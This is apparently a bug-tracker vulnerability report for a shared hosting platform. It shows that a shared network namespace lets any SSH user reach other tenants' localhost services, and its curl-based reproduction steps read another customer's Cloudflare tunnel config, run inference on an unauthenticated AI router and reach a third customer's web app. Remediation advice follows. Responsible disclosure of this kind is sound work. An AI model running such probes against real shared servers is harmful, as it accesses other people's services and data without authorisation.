Security vulnerabilities

Attached to Project: Security vulnerabilities
Opened by subhash - 02.08.2026
Last edited by cbay - 02.08.2026

## Summary

Any SSH user on a shared hosting server can connect to TCP services running on localhost (127.0.0.1) that belong to other customers.

Although the platform enforces process isolation using `hidepid=invisible` and restricts visibility of other users' processes under `/proc`, all SSH users continue to share the same Linux network namespace (`net:[4026531833]`). As a result, any service listening on `127.0.0.1` or `0.0.0.0` is reachable by every tenant on the same physical server.

Using only an unprivileged SSH account, I was able to:

* Access another customer's Cloudflare Tunnel management API * Read the tunnel configuration, hostname, connector ID, metrics, and origin service information
* Access the tunnel's backend service directly
* Execute inference requests against another customer's AI model router
* Access a third customer's web application hosted on localhost

—

## Affected Asset

```
ssh://ssh-bres3680test.alwaysdata.net
```

Server

```
SSH2
Kernel: 6.18.38-alwaysdata
OS: Debian 12 (Bookworm)
```

Affected Scope

All customer services listening on:

* `127.0.0.1`
* `0.0.0.0`

on the same shared hosting server.

—

# Root Cause

The platform isolates processes using:

```bash
hidepid=invisible
```

which prevents users from viewing other customers' processes via `/proc`.

```bash
$ mount | grep proc

proc on /proc type proc (rw,relatime,gid=4,hidepid=invisible)
```

However, network isolation is not implemented.

Every SSH session runs inside the same Linux network namespace:

```bash
$ readlink /proc/self/ns/net

net:[4026531833]
```

Namespace inode `4026531833` is the default host network namespace. Every customer account resolves to the same namespace, confirming there is no per-user network isolation.

As a result:

* users cannot determine which process owns a listening port,
* but they can freely connect to every listening localhost service.

—

# Steps to Reproduce

## 1. Login via SSH

```bash
$ whoami
bres3680test

$ id
uid=537578(bres3680test) gid=492644(bres3680test) groups=492644(bres3680test)
```

—

## 2. Verify no services belong to my account

```bash
$ ps -u bres3680test -f
UID PID PPID C STIME TTY TIME CMD
bres368+ 1526282 1526280 0 00:52 ? 00:00:00 bash
bres368+ 1526288 1526282 0 00:52 ? 00:00:00 ps -u bres3680test -f
```

```bash
$ ss -tlnp | grep -c "users:"
0
```

Because of `hidepid`, socket ownership is hidden, but listening ports remain visible.

I do not own any of these services.

—

## 3. Access another customer's Cloudflare Tunnel Management API

Query the management interface:

```bash
$ curl http://127.0.0.1:20241/quicktunnel ```

Response:

```json
{

"hostname":"drain-emission-roy-strip.trycloudflare.com"

}
```

Check tunnel readiness:

```bash
$ curl http://127.0.0.1:20241/ready ```

```json
{

"status":200,
"readyConnections":1,
"connectorId":"f37e899d-aa13-48eb-9968-7142efefb28a"

}
```

Retrieve tunnel configuration:

```bash
$ curl http://127.0.0.1:20241/config ```

Excerpt:

```json
{

"config": {
  "ingress": [
    {
      "service":"http://localhost:33468"
    }
  ]
}

}
```

Retrieve metrics:

```bash
$ curl http://127.0.0.1:20241/metrics ```

Example:

```
build_info version="2026.7.3"

cloudflared_tunnel_ha_connections 1

cloudflared_tunnel_server_locations edge_location="lhr13"

cloudflared_tunnel_total_requests 400
```

### Information exposed

* Tunnel hostname
* Internal origin port
* Connector UUID
* Cloudflare edge location
* cloudflared version
* Request statistics

—

## 4. Access the Tunnel Origin Directly

The tunnel configuration exposed the backend service:

```
localhost:33468
```

Connecting directly:

```bash
$ curl -I http://127.0.0.1:33468/ ```

```
HTTP/1.1 404 Not Found
```

The backend is reachable directly from another tenant.

This bypasses any protections that rely solely on the public Cloudflare endpoint (such as Cloudflare Access or IP-based restrictions).

—

## 5. Access Another Customer's AI Router

Version endpoint:

```bash
$ curl http://127.0.0.1:10219/api/version ```

```json
{

"currentVersion":"0.5.45"

}
```

The service identifies itself as:

```
9Router - AI Infrastructure Management
```

The OpenAI-compatible API exposes 581 configured models without authentication.

```bash
$ curl http://127.0.0.1:10219/api/v1 ```

Result:

```
581 models
```

Execute an inference request:

```bash
POST /api/v1/chat/completions
```

Response:

```json
{

"model":"nemotron-3-ultra-free",
"choices":[...]

}
```

The request completed successfully.

Although the tested model routed to a free backend, the platform exposes hundreds of configured providers (including commercial providers such as OpenAI and SiliconFlow). If paid API credentials were configured, an attacker could consume another customer's API quota.

—

## 6. Access Another Customer's Web Application

```bash
$ curl -I http://127.0.0.1:3001/ ```

```
HTTP/1.1 200 OK
```

Retrieve page title:

```bash
$ curl http://127.0.0.1:3001/ ```

```
<title>
Meridian – Time Tracking & Invoicing for Freelancers
```

This confirms another customer's localhost application is directly accessible.

—

## 7. Negative Control

Attempt to connect to a port with no listener:

```bash
$ curl –max-time 2 http://127.0.0.1:9999/ ```

Result:

```
Connection refused
```

This confirms successful connections occur only when another tenant is actively listening.

—

# Difference from  FS#418  and  FS#419 

This issue is distinct from previously reported findings.

###  FS#418 

Cross-tenant access through the shared `/tmp` directory.

Layer

Filesystem

Fix

Private `/tmp` via mount namespaces.

—

###  FS#419 

SSRF through reverse proxy configuration pointing to localhost.

Layer

HTTP / Reverse Proxy

Fix

Validate backend target URLs.

—

### This Report

Cross-tenant access caused by the shared Linux network namespace.

Layer

Kernel networking

Required Fix

Network isolation between customer accounts.

Although the filesystem and reverse proxy issues were addressed, the underlying shared network namespace remains unchanged.

—

# Impact

An unprivileged customer can access localhost services belonging to other tenants on the same server.

During testing I successfully:

* Retrieved another customer's complete Cloudflare Tunnel configuration.
* Discovered tunnel hostname, origin port, connector ID, version, metrics, and edge location.
* Connected directly to the tunnel's backend service.
* Executed inference requests against another customer's AI infrastructure.
* Accessed a third customer's web application.
* Demonstrated that any localhost service without its own authentication is exposed to every co-tenant.

This represents cross-tenant access to customer-hosted services and may expose confidential data, administrative interfaces, internal APIs, or consume customer resources.

Qualifying Category

Access customer data / information

—

# Recommended Remediation

1. Implement per-user network namespaces for SSH sessions so each customer has an isolated network stack while retaining outbound Internet connectivity through a bridged interface.

2. If full namespace isolation is not immediately feasible, enforce per-UID loopback filtering (e.g., using `nftables`) to block connections where the destination socket belongs to a different UID.

3. Until a technical fix is deployed, update the documentation to clearly state that services bound to `127.0.0.1` are visible to other tenants, and recommend using Unix domain sockets or application-level authentication for localhost services.

—

# Conclusion

The platform successfully isolates processes but does not isolate networking. Because all customers share the same Linux network namespace, localhost is effectively a shared communication channel between tenants. This allows any SSH user to enumerate and interact with services running on other customer accounts, resulting in cross-tenant access to internal applications, management interfaces, and potentially sensitive customer data. Addressing this issue requires network-level isolation rather than additional process or filesystem restrictions.

Thanks